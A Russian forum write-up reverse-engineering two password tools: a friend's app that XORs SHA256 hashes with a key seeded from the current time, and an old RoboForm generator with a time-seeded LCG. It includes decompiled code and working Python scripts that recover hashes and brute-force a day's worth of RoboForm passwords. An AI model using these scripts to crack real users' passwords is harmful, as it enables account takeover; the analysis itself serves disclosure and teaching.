Как 1 ошибка ставит под угрозу всю инфраструктуру.
Примерно 4 дня назад мой друг(Назовем его Саша) закончил разработку важного веб приложения для закрытого круга лиц(к сожалению конкретнее сказать не могу).
Суть приложения - повышенная система защиты хранения паролей и взаимодействие с локальной сетью.
На радостях Саша закончив работу начал хвастать передо мной что его взяли в довольно крупный проект. Тогда я решил поспорить, что если он даст код то я найду там дыры. Сошлись на том что я получу экзешники без обфускации внутри(За что спасибо)
Спор был заключен на символические 1000 рублей. Саша немного изменив логику под работу с моей бд выслал мне файлы.
После тыканья нашел 2 интересных для себя файла с логикой сохранения данных в бд
Это можно понять после классической strings.
Открыв гидру и начав копаться я ничего не нашел все кажется абсолютно нормальным да?
ИНТЕРЕСНАЯ ЧАСТЬ
LAB_00102b2f:
bVar11 = true;
goto LAB_00102b34;
}
tVar5 = time((time_t *)0x0);
/* try { // try from 00102b83 to 00102b87 has its CatchHandler @ 00102ea5 */
FUN_00104380(local_f8,tVar5,0x10);
/* try { // try from 00102b9f to 00102ba3 has its CatchHandler @ 00102ea0 */
FUN_00103ba0(local_178,local_118);
/* try { // try from 00102bba to 00102bbe has its CatchHandler @ 00102eb4 */
FUN_00103070(local_158,local_178,local_f8);
/* try { // try from 00102bc5 to 00102bc9 has its CatchHandler @ 00102eaf */
FUN_00104520((string *)&local_78,tVar5);
/* try { // try from 00102bdd to 00102be1 has its CatchHandler @ 00102eb9 */
FUN_00104000(local_b8,local_158);
/* try { // try from 00102bf1 to 00102bf5 has its CatchHandler @ 00102e9b */
psVar6 = (string *)std::__cxx11::string::append(local_b8);
std::__cxx11::string::string((string *)&local_98,psVar6);
uVar8 = local_90 + local_70;
if (local_98 == local_88) {
if (0xf < uVar8) goto LAB_00102c45;
tVar5 = time((time_t *)0x0); Эта строка невольно заставила улыбнуться. Носители C подобных языков наверное улыбнулись вместе со мной.
ДЛЯ ТЕХ КТО НЕ ПОНЯЛ
Еще в +-2016 году исследователи поняли, что использовать время в качестве случайности для генерации чего либо совсем не безопасно.
Существует интересная история о хакере который помог восстановить утерянный пароль от криптокошелька как раз из за этой уязвимости.
Суть в том, что при переборе сгенерированного текста на основе времени и зная ключ который используется нам нужно подобрать совсем небольшое количество комбинаций.
Продолжив копать
Нашел реализацию шифрования.
long * FUN_00104380(long *param_1,ulong param_2,long param_3)
{
undefined1 uVar1;
long lVar2;
long lVar3;
long lVar4;
ulong uVar5;
ulong uVar6;
ulong *puVar7;
long *local_13e8;
long local_13e0;
long local_13d8 [2];
ulong local_13c8;
ulong local_13c0 [623];
undefined8 local_48;
local_13c8 = param_2 & 0xffffffff;
lVar4 = 1;
uVar5 = local_13c8;
puVar7 = local_13c0;
do {
uVar5 = (ulong)(((uint)(uVar5 >> 0x1e) ^ (uint)uVar5) * 0x6c078965 + (int)lVar4);
lVar4 = lVar4 + 1;
*puVar7 = uVar5;
puVar7 = puVar7 + 1;
} while (lVar4 != 0x270);
local_48 = 0x270;
lVar4 = 0;
local_13e8 = local_13d8;
FUN_00102fc0(&local_13e8,"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789");
*param_1 = (long)(param_1 + 2);
param_1[1] = 0;
*(undefined1 *)(param_1 + 2) = 0;
if (param_3 != 0) {
do {
lVar3 = FUN_001042a0(&local_13c8,0,local_13e0 + -1);
uVar5 = param_1[1];
lVar2 = *param_1;
if (param_1 + 2 == (long *)lVar2) {
uVar6 = 0xf;
}
else {
uVar6 = param_1[2];
}
uVar1 = *(undefined1 *)((long)local_13e8 + lVar3);
if (uVar6 < uVar5 + 1) {
/* try { // try from 001044ba to 001044be has its CatchHandler @ 00104516 */
std::__cxx11::string::_M_mutate((ulong)param_1,uVar5,(char *)0x0,0);
lVar2 = *param_1;
}
*(undefined1 *)(lVar2 + uVar5) = uVar1;
lVar4 = lVar4 + 1;
param_1[1] = uVar5 + 1;
*(undefined1 *)(*param_1 + 1 + uVar5) = 0;
} while (param_3 != lVar4);
}
if (local_13e8 != local_13d8) {
operator.delete(local_13e8,local_13d8[0] + 1);
}
return param_1;
}
Как мы помним tvar5 это unix метка времени что и делает алгоритм уязвимым к перебору.
БИНГО! Скажете вы.
Но мы до сих пор не знаем полного алгоритма и его работы.
Для того что бы разобраться в этом мне пришлось провести еще несколько часов в ассемблере. Что бы не забивать статью опишу выводы.
ИТОГ РЕВЕРСА
1) Файл Cypt является не просто алгоритмом шифрования но и записывает данные подключаясь к бд извлекая данные из переменных окружения.
Он принимает уже готовый хэш пароля SHA256, берет метку времени превращая в сид и генерирует из нее ключ. Затем этим ключом на удивление просто ксорится хэш : /
2) Данные ложатся в бд как финальное значение:сид. Чему я был потрясен.
3) Файл Verify по итогу оказывается нам особо не интересен. Он проверяет все обратным алгоритмом(расшифровка) и возвращает либо ОК либо ничего, как и файл шифрования.
после чего я решил провести несколько тестов и проверить догадки.
Глядя на данные можно легко восстановить скрипт для проверки логики, что я и делаю
import sys
ALPHABET = ("abcdefghijklmnopqrstuvwxyz"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"0123456789")
class MT19937:
N = 624
M = 397
MATRIX_A = 0x9908b0df
UPPER_MASK = 0x80000000
LOWER_MASK = 0x7fffffff
def __init__(self, seed: int):
self.mt = [0] * self.N
self.mt[0] = seed & 0xffffffff
for i in range(1, self.N):
self.mt[i] = (1812433253 * (self.mt[i-1] ^ (self.mt[i-1] >> 30)) + i) & 0xffffffff
self.index = self.N
def _generate(self):
for i in range(self.N):
y = (self.mt[i] & self.UPPER_MASK) | (self.mt[(i+1) % self.N] & self.LOWER_MASK)
self.mt[i] = self.mt[(i + self.M) % self.N] ^ (y >> 1)
if y & 1:
self.mt[i] ^= self.MATRIX_A
self.index = 0
def next_uint32(self) -> int:
if self.index >= self.N:
self._generate()
y = self.mt[self.index]
self.index += 1
# tempering
y ^= (y >> 11)
y ^= (y << 7) & 0x9d2c5680
y ^= (y << 15) & 0xefc60000
y ^= (y >> 18)
return y & 0xffffffff
def uniform_int_distribution(gen: MT19937, a: int, b: int) -> int:
urng_min = 0
urng_max = 0xffffffff
urng_range = urng_max - urng_min
range_size = b - a + 1
scaling = urng_range // range_size
past = scaling * range_size
while True:
x = gen.next_uint32()
if x <= past:
return a + (x // scaling)
def weak_key(seed: int, length: int = 16) -> str:
gen = MT19937(seed & 0xffffffff)
key = []
for _ in range(length):
idx = uniform_int_distribution(gen, 0, len(ALPHABET) - 1)
key.append(ALPHABET[idx])
return ''.join(key)
def xor_crypt(data: bytes, key: str) -> bytes:
kb = key.encode()
return bytes(b ^ kb[i % len(kb)] for i, b in enumerate(data))
def main():
if len(sys.argv) != 2:
print(f"usage: {sys.argv[0]} '<hex>:<seed>'", file=sys.stderr)
sys.exit(2)
token = sys.argv[1]
if ':' not in token:
print("token must be '<hex>:<seed>'", file=sys.stderr)
sys.exit(2)
enc_hex, seed_str = token.split(':', 1)
seed = int(seed_str)
enc = bytes.fromhex(enc_hex)
key = weak_key(seed)
recovered = xor_crypt(enc, key)
print(f"SHA256 хэш = {recovered.hex()}")
if __name__ == "__main__":
main()
И вот мы воссоздали процесс взяв алфавит и помощь с интернета.
Итог
1) Получив доступ к 1 лишь файлу crypt злоумышленник смог бы пытаться восстановить алгоритм и перебрать пароль. В данном случае безопасность повышает обфускация и запутывающий фактор в виде сида, который злоумышленник может принять за соль. Что не верно.
2) Я заработал 1 000 рублей и ухмылку с которой по сей день брожу вокруг Сашки. Как оказалось часть кода он дернул со Stack Overflow за что и поплатился. Так как нужно отдать должное кодер он совсем не слабый.
3) Данный вектор остается открытым по сей день и бог знает сколько систем и приложений подвержены данной уязвимости.
Что бы рандом был действительно РАНДОМОМ нужно использовать std::random_device либо же вызовы системных апи.
На этом у меня все. Надеюсь тебе читатель было интересно ознакомиться с данным вектором. Не воруй код без проверки и пусть ошибки сегментации тебя не тревожат.
ДОПОЛНЕНИЕ
Раз уж я поднял тему с уязвимыми генераторами паролей, то предлагаю взглянуть поближе на 1 из таких. Тот самый с которым связана история помощи хакером простому человеку.
Уязвимость поднималась на Def con 2024 года
RoboForm
Мы разберем старую версию, посмотрим изнутри на уязвимый код, видоизменим метод взлома и воссоздадим логику приложения.
Так выглядит сам генератор при запуске в нормальной среде.
И так при вынесении в другую директорию.
Просмотрев сам exeшник можно убедиться в зависимости от dll и увидеть вызов уязвимой функции.
И находим место вызова по строкам.
/* WARNING: Function: __alloca_probe replaced with injection: alloca_probe */
undefined4 FUN_00401000(undefined4 param_1,undefined4 param_2,wchar_t *param_3,int param_4)
{
DWORD DVar1;
undefined4 uVar2;
WCHAR local_3008 [4096];
WCHAR local_1008 [2048];
DWORD local_8;[/SIZE][/FONT][/SIZE][/FONT][/SIZE][/FONT]
[FONT=Inter][SIZE=4][FONT=Inter][SIZE=4][FONT=Inter][SIZE=4] local_8 = 0x40100d;
local_8 = OleInitialize((LPVOID)0x0);
if ((int)local_8 < 0) {
local_3008[0] = L'\0';
wsprintfW(local_3008,L"OleInitialize error: %08x",local_8);
local_1008[0] = L'\0';
DVar1 = FormatMessageW(0x10ff,(LPCVOID)0x0,local_8,0,local_1008,0,(va_list *)0x0);
if (DVar1 != 0) {
local_1008[0] = L'\0';
lstrcatW(local_3008,L"\n");
lstrcatW(local_3008,local_1008);
}
MessageBoxW((HWND)0x0,local_3008,L"RoboForm Error",0);
uVar2 = 1;
}
else {
RunPassGen(param_4,param_3);
OleUninitialize();
uVar2 = 0;
}
return uVar2;
}
Можно заметить немного странную структуру
RunPassGen вызывается и при ошибке OLE. Гидра неправильно воссоздала код.
Посмотрев на ассемблерный код можно легко понять реальную структуру. Но это и не так важно.
00401018 83 7d fc 00 CMP dword ptr [EBP + local_8],0x0
0040101c 0f 8d b4 JGE LAB_004010d6
00 00 00
00401022 b8 02 00 MOV EAX,0x2
00 00
00401027 6b c0 00 IMUL EAX,EAX,0x0
0040102a 33 c9 XOR ECX,ECX
0040102c 66 89 8c MOV word ptr [EBP + EAX*0x1 + 0xffffcffc],CX
05 fc cf
ff ff
00401034 8b 55 fc MOV EDX,dword ptr [EBP + local_8]
00401037 52 PUSH EDX
00401038 68 fc 81 PUSH u_OleInitialize_error:_%08x_004081fc = u"OleInitialize error: %08x"
40 00
0040103d 8d 85 fc LEA EAX=>local_3008,[EBP + 0xffffcffc]
cf ff ff
00401043 50 PUSH EAX
00401044 ff 15 10 CALL dword ptr [->USER32.DLL::wsprintfW] = 0000c44c
81 40 00
0040104a 83 c4 0c ADD ESP,0xc
0040104d b9 02 00 MOV ECX,0x2
00 00
00401052 6b c9 00 IMUL ECX,ECX,0x0
00401055 33 d2 XOR EDX,EDX
00401057 66 89 94 MOV word ptr [EBP + ECX*0x1 + 0xffffeffc],DX
0d fc ef
ff ff
0040105f 6a 00 PUSH 0x0
00401061 6a 00 PUSH 0x0
00401063 8d 85 fc LEA EAX=>local_1008,[EBP + 0xffffeffc]
ef ff ff
00401069 50 PUSH EAX
0040106a 6a 00 PUSH 0x0
0040106c 8b 4d fc MOV ECX,dword ptr [EBP + local_8]
0040106f 51 PUSH ECX
00401070 6a 00 PUSH 0x0
00401072 68 ff 10 PUSH 0x10ff
00 00
00401077 ff 15 24 CALL dword ptr [->KERNEL32.DLL::FormatMessageW] = 0000c4d4
80 40 00
0040107d 85 c0 TEST EAX,EAX
0040107f 74 38 JZ LAB_004010b9
00401081 ba 02 00 MOV EDX,0x2
00 00
00401086 6b d2 00 IMUL EDX,EDX,0x0
00401089 33 c0 XOR EAX,EAX
0040108b 66 89 84 MOV word ptr [EBP + EDX*0x1 + 0xffffeffc],AX
15 fc ef
ff ff
00401093 68 30 82 PUSH DAT_00408230 = 0Ah
40 00
00401098 8d 8d fc LEA ECX=>local_3008,[EBP + 0xffffcffc]
cf ff ff
0040109e 51 PUSH ECX
0040109f ff 15 28 CALL dword ptr [->KERNEL32.DLL::lstrcatW] = 0000c4e6
80 40 00
004010a5 8d 95 fc LEA EDX=>local_1008,[EBP + 0xffffeffc]
ef ff ff
004010ab 52 PUSH EDX
004010ac 8d 85 fc LEA EAX=>local_3008,[EBP + 0xffffcffc]
cf ff ff
004010b2 50 PUSH EAX
004010b3 ff 15 28 CALL dword ptr [->KERNEL32.DLL::lstrcatW] = 0000c4e6
80 40 00
LAB_004010b9 XREF[1]: 0040107f(j)
004010b9 6a 00 PUSH 0x0
004010bb 68 34 82 PUSH u_RoboForm_Error_00408234 = u"RoboForm Error"
40 00
004010c0 8d 8d fc LEA ECX=>local_3008,[EBP + 0xffffcffc]
cf ff ff
004010c6 51 PUSH ECX
004010c7 6a 00 PUSH 0x0
004010c9 ff 15 0c CALL dword ptr [->USER32.DLL::MessageBoxW] = 0000c458
81 40 00
004010cf b8 01 00 MOV EAX,0x1
00 00
004010d4 eb 19 JMP LAB_004010ef
LAB_004010d6 XREF[1]: 0040101c(j)
004010d6 8b 55 10 MOV EDX,dword ptr [EBP + param_3]
004010d9 52 PUSH EDX
004010da 8b 45 14 MOV EAX,dword ptr [EBP + param_4]
004010dd 50 PUSH EAX
004010de ff 15 04 CALL dword ptr [->ROBOFORM.DLL::RunPassGen] = 0000c538
81 40 00
004010e4 83 c4 08 ADD ESP,0x8
004010e7 ff 15 1c CALL dword ptr [->OLE32.DLL::OleUninitialize] = 0000c482
81 40 00
004010ed 33 c0 XOR EAX,EAX
LAB_004010ef XREF[1]: 004010d4(j)
004010ef 8b e5 MOV ESP,EBP
004010f1 5d POP EBP
004010f2 c2 10 00 RET 0x10
004010f5 e9 b2 01 JMP FID_conflict:_free void FID_conflict:_free(void * _
00 00
-- Flow Override: CALL_RETURN (CALL_TERMINATOR)
004010fa cc INT3
РАЗБОР DLL
Немного покопавшись в гидре можем найти ядро генератора.
И желанные нами функции
_Var6 = __time64((__time64_t *)0x0);
uStack_434 = (undefined4)((ulonglong)_Var6 >> 0x20);
FUN_107a89a6((int)_Var6 - _DAT_10cef548, uVar7, uVar2);
_DAT_10cef548 = _DAT_10cef548 + -0xe3a78;
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */
void __thiscall FUN_105e5390(int *param_1,int *param_2,int param_3,int param_4)
{
short sVar1;
uint uVar2;
int iVar3;
uint uVar4;
short *psVar5;
__time64_t _Var6;
undefined4 uVar7;
char *pcVar8;
undefined1 auStack_454 [4];
int local_450;
int local_44c;
int local_448;
int local_444;
int local_440;
int local_43c;
int local_438;
undefined4 local_434;
undefined4 local_430;
int *local_42c;
short local_428 [518];
uint local_1c;
void *local_14;
undefined1 *puStack_10;
undefined4 local_c;
puStack_10 = &LAB_108d0ea2;
local_14 = ExceptionList;
local_1c = DAT_10cdbcf4 ^ (uint)auStack_454;
uVar2 = DAT_10cdbcf4 ^ (uint)&stack0xfffffba0;
ExceptionList = &local_14;
local_c = 0;
uVar7 = 0;
local_42c = param_2;
local_430 = 0;
_Var6 = __time64((__time64_t *)0x0);
local_434 = (undefined4)((ulonglong)_Var6 >> 0x20);
FUN_107a89a6((int)_Var6 - _DAT_10cef548,uVar7,uVar2);
_DAT_10cef548 = _DAT_10cef548 + -0xe3a78;
if ((param_1[1] < 1) || (0x3f < param_1[1])) {
FUN_10584ea0(".\\portable\\sib-password-gen.cpp",0x2f,0,0,1);
}
if (0x200 < param_3) {
param_3 = 0x200;
}
local_43c = FUN_105847c0();
local_43c = local_43c + 0x14;
local_c = 2;
local_448 = FUN_105847c0();
local_448 = local_448 + 0x14;
local_c._0_1_ = 4;
local_44c = FUN_105847c0();
local_44c = local_44c + 0x14;
local_c._0_1_ = 6;
local_438 = FUN_105847c0();
local_438 = local_438 + 0x14;
local_c = CONCAT31(local_c._1_3_,8);
iVar3 = FUN_105e5260(0x20);
if (iVar3 == 0) {
FID_conflict:operator=("ABCDEFGHIJKLMNOPQRSTUVWXYZ");
FID_conflict:operator=("abcdefghijklmnopqrstuvwxyz");
FID_conflict:operator=("0123456789");
pcVar8 = "0123456789ABCDEF";
}
else {
FID_conflict:operator=("ABCDEFGHJKLMNPQRSTUVWXYZ");
FID_conflict:operator=("abcdefghijkmnopqrstuvwxyz");
FID_conflict:operator=("23456789");
pcVar8 = "23456789ABCDEF";
}
FID_conflict:operator=(pcVar8);
local_450 = FUN_105847c0();
local_450 = local_450 + 0x14;
local_c = CONCAT31(local_c._1_3_,10);
iVar3 = FUN_105e5260(1);
if (iVar3 != 0) {
FUN_10009040(local_43c,*(undefined4 *)(local_43c + -0x14));
}
iVar3 = FUN_105e5260(2);
if (iVar3 != 0) {
FUN_10009040(local_448,*(undefined4 *)(local_448 + -0x14));
}
iVar3 = FUN_105e5260(4);
if (iVar3 != 0) {
FUN_10009040(local_44c,*(undefined4 *)(local_44c + -0x14));
}
iVar3 = FUN_105e5260(8);
if (iVar3 != 0) {
FUN_10009040(*param_1,*(undefined4 *)(*param_1 + -0x14));
}
iVar3 = FUN_105e5260(0x10);
if (iVar3 != 0) {
FUN_10001b30(&local_438);
}
uVar2 = param_3 + 1;
if (0 < (int)uVar2) {
psVar5 = local_428;
for (uVar4 = uVar2 >> 1; uVar4 != 0; uVar4 = uVar4 - 1) {
psVar5[0] = 0;
psVar5[1] = 0;
psVar5 = psVar5 + 2;
}
for (uVar2 = (uint)((uVar2 & 1) != 0); uVar2 != 0; uVar2 = uVar2 - 1) {
*psVar5 = 0;
psVar5 = psVar5 + 1;
}
}
if (param_3 < param_4) {
param_4 = param_3;
}
local_444 = param_4;
if (param_4 < 0) {
local_444 = 0;
}
iVar3 = local_444;
local_440 = param_3;
if (0 < local_444) {
do {
FUN_105e52d0(local_428,&local_440,4,&local_44c,param_3);
iVar3 = iVar3 + -1;
} while (iVar3 != 0);
}
if (*(int *)(*param_1 + -0x14) != 0) {
FUN_105e52d0(local_428,&local_440,8,param_1,param_3);
}
FUN_105e52d0(local_428,&local_440,1,&local_43c,param_3);
FUN_105e52d0(local_428,&local_440,2,&local_448,param_3);
if (local_444 == 0) {
FUN_105e52d0(local_428,&local_440,4,&local_44c,param_3);
}
iVar3 = 0;
if (0 < param_3) {
do {
if (local_428[iVar3] == 0) {
sVar1 = FUN_105e5280(&local_450);
local_428[iVar3] = sVar1;
}
iVar3 = iVar3 + 1;
} while (iVar3 < param_3);
}
iVar3 = FUN_105847c0();
*local_42c = iVar3 + 0x14;
local_c._0_1_ = 0xb;
uVar7 = FUN_10001c10(local_428);
FUN_10001dd0(local_428,uVar7);
local_430 = 1;
local_c._0_1_ = 8;
FUN_10584890();
local_c._0_1_ = 6;
FUN_10584890();
local_c._0_1_ = 4;
FUN_10584890();
local_c = CONCAT31(local_c._1_3_,2);
FUN_10584890();
local_c = 0;
FUN_10584890();
ExceptionList = local_14;
__security_check_cookie(local_1c ^ (uint)auStack_454);
return;
}
ВОССТАНОВЛЕНИЕ ЛОГИКИ И ХАК
Вот мы и подобрались к самой интересной части. Разбор и воспроизведение алгоритма.
Идея: пробрутить все варианты пароля за сегодняшний день и сохранить в файл для последующего перебора.
Это всего лишь 86400 вариантов.
Сам код:
import time
import datetime
import os
import sys
class roboform:
seed = None
seed_mod = None
pass_length = None
pass_length_ctr = None
min_digits = None
config = None
password = None
charset = {
"upper": "ABCDEFGHIJKLMNOPQRSTUVWXYZ",
"upper_similar": "ABCDEFGHJKLMNPQRSTUVWXYZ",
"lower": "abcdefghijklmnopqrstuvwxyz",
"lower_similar": "abcdefghijkmnopqrstuvwxyz",
"digit": "0123456789",
"digit_similar": "23456789",
"hex": "0123456789ABCDEF",
"hex_similar": "23456789ABCDEF",
"special": "!@#$%^&*"
}
charset_full = None
def __init__(
self,
pass_length=8,
chr_upper=True,
chr_lower=True,
chr_digits=True,
chr_specials="!@#$%^&*",
chr_similar=False,
min_digits=1,
):
self.seed_mod = 0
if pass_length > 0x200:
pass_length = 0x200
self.pass_length = pass_length
self.config = 0
if chr_upper:
self.config |= 0x01
if chr_lower:
self.config |= 0x02
if chr_digits:
self.config |= 0x04
if chr_specials:
self.config |= 0x08
if chr_similar:
self.config |= 0x20
self.charset_full = ""
if self.config & 0x01:
if self.config & 0x20:
self.charset_full += self.charset["upper_similar"]
else:
self.charset_full += self.charset["upper"]
if self.config & 0x02:
if self.config & 0x20:
self.charset_full += self.charset["lower_similar"]
else:
self.charset_full += self.charset["lower"]
if self.config & 0x04:
if self.config & 0x20:
self.charset_full += self.charset["digit_similar"]
else:
self.charset_full += self.charset["digit"]
if self.config & 0x08:
self.charset["special"] = chr_specials
self.charset_full += self.charset["special"]
if self.config & 0x10:
if self.config & 0x20:
self.charset_full = self.charset["hex_similar"]
else:
self.charset_full = self.charset["hex"]
self.min_digits = min_digits
def __del__(self):
pass
def srand(self, seed):
self.seed = seed
def rand(self):
self.seed = ((0x000343FD * self.seed) + 0x00269EC3) & 0xFFFFFFFF
return (self.seed >> 0x10) & 0x7FFF
def rand_range(self, range):
return (self.rand() * range) // 0x8000
def rand_char(self, charset):
return ord(charset[self.rand_range(len(charset))])
def generate_character(self, flag, charset):
if self.pass_length_ctr == 0:
return
if not (self.config & flag):
return
while True:
idx = self.rand_range(self.pass_length)
if self.password[idx] == 0:
break
self.password[idx] = self.rand_char(charset)
self.pass_length_ctr -= 1
def generate(self, time_seed):
self.srand(time_seed - self.seed_mod)
self.seed_mod -= 0x000E3A78
self.password = bytearray(self.pass_length)
self.pass_length_ctr = self.pass_length
for i in range(self.min_digits):
self.generate_character(0x04, self.charset["digit"])
if len(self.charset["special"]):
self.generate_character(0x08, self.charset["special"])
self.generate_character(0x01, self.charset["upper"])
self.generate_character(0x02, self.charset["lower"])
if self.min_digits == 0:
self.generate_character(0x04, self.charset["digit"])
for i in range(self.pass_length):
if self.password[i]:
continue
self.password[i] = self.rand_char(self.charset_full)
return self.password.decode("utf-8")
#Настройки
PASS_LENGTH = 10
CHR_UPPER = True
CHR_LOWER = True
CHR_DIGITS = True
CHR_SPECIALS = ""
CHR_SIMILAR = False
MIN_DIGITS = 1
def make_rf():
return roboform(
pass_length=PASS_LENGTH,
chr_upper=CHR_UPPER,
chr_lower=CHR_LOWER,
chr_digits=CHR_DIGITS,
chr_specials=CHR_SPECIALS,
chr_similar=CHR_SIMILAR,
min_digits=MIN_DIGITS,
)
def build_day_passwords(day_date, out_file="passwords.txt"):
start = datetime.datetime(day_date.year, day_date.month, day_date.day, 0, 0, 0)
end = start + datetime.timedelta(days=1)
start_ts = int(time.mktime(start.timetuple()))
end_ts = int(time.mktime(end.timetuple()))
total = end_ts - start_ts
print(f"Перебор дня {day_date} — {total} секунд")
print(f"Диапазон timestamp: {start_ts} .. {end_ts - 1}")
print(f"Сохранение в: {out_file}")
print()
start_time = time.time()
with open(out_file, "w", encoding="utf-8") as f:
for i, ts in enumerate(range(start_ts, end_ts)):
rf = make_rf()
pwd = rf.generate(ts)
f.write(f"{ts}\t{pwd}\n")
if i % 5000 == 0 and i > 0:
elapsed = time.time() - start_time
speed = i / elapsed if elapsed > 0 else 0
remaining = (total - i) / speed if speed > 0 else 0
print(f" {i}/{total} ({speed:.0f} пар/сек, осталось ~{remaining:.0f} сек)")
elapsed = time.time() - start_time
print()
print(f"Сгенерировано {total} паролей за {elapsed:.1f} сек.")
print(f"Файл: {os.path.abspath(out_file)}")
def find_password(target, in_file="passwords.txt"):
target = target.strip()
if not target:
print("Пустой пароль, поиск отменён.")
return None
print(f"Ищу пароль: {target}")
print()
if not os.path.exists(in_file):
print(f"Файл не найден. Сначала выполните перебор")
return None
found = []
with open(in_file, "r", encoding="utf-8") as f:
for line in f:
line = line.rstrip("\n")
if not line:
continue
ts_str, _, pwd = line.partition("\t")
if pwd == target:
found.append(int(ts_str))
if found:
print("СОВПАДЕНИЕ НАЙДЕНО")
for ts in found:
dt_local = datetime.datetime.fromtimestamp(ts)
dt_utc = datetime.datetime.fromtimestamp(ts, datetime.UTC)
print(f" timestamp : {ts}")
print(f" local : {dt_local}")
print(f" UTC : {dt_utc}")
print(f" пароль : {target}")
return found[0]
else:
print("СОВПАДЕНИЙ НЕ НАЙДЕНО")
return None
def main():
today = datetime.date.today()
out_file = "passwords.txt"
if os.path.exists(out_file):
print(f"Файл уже существует.")
choice = input("Пересобрать заново? (y/n): ").strip().lower()
if choice != "y":
print("Использую существующий файл")
else:
build_day_passwords(today, out_file)
else:
build_day_passwords(today, out_file)
print()
print("ВВЕДИТЕ ПАРОЛЬ ОТ ROBOFORM")
try:
target = input("Пароль: ").strip()
except (EOFError, KeyboardInterrupt):
print("\nВвод прерван.")
return
if not target:
print("Пустой ввод — поиск отменён.")
return
print()
find_password(target, out_file)
if __name__ == "__main__":
main()
И что получаем в итоге?
Теперь запустим RoboForm и проверим получилось ли нам воссоздать логику.
Как мы видим все отлично работает.
Казалось бы все? Мы разгадали логику. Что еще остается?
Но всегда есть изъян.
Если я нажму "Генерировать"
То подобрать пароль уже не представится возможным.
Все из за моей ошибки. Я не учел, что при генерации пароля так же присутствует счетчик нажатий, который тоже принимает участие в генерации пароля.
Но дабы не растягивать статью оставлю скрипт в таком виде. Кому надо, в статье есть все что нужно для этого небольшого фикса.
Спасибо всем кто читал. Надеюсь вам было не скучно. Хотелось бы получить от вас реакций за разбор и до новых встреч.:)
LIMB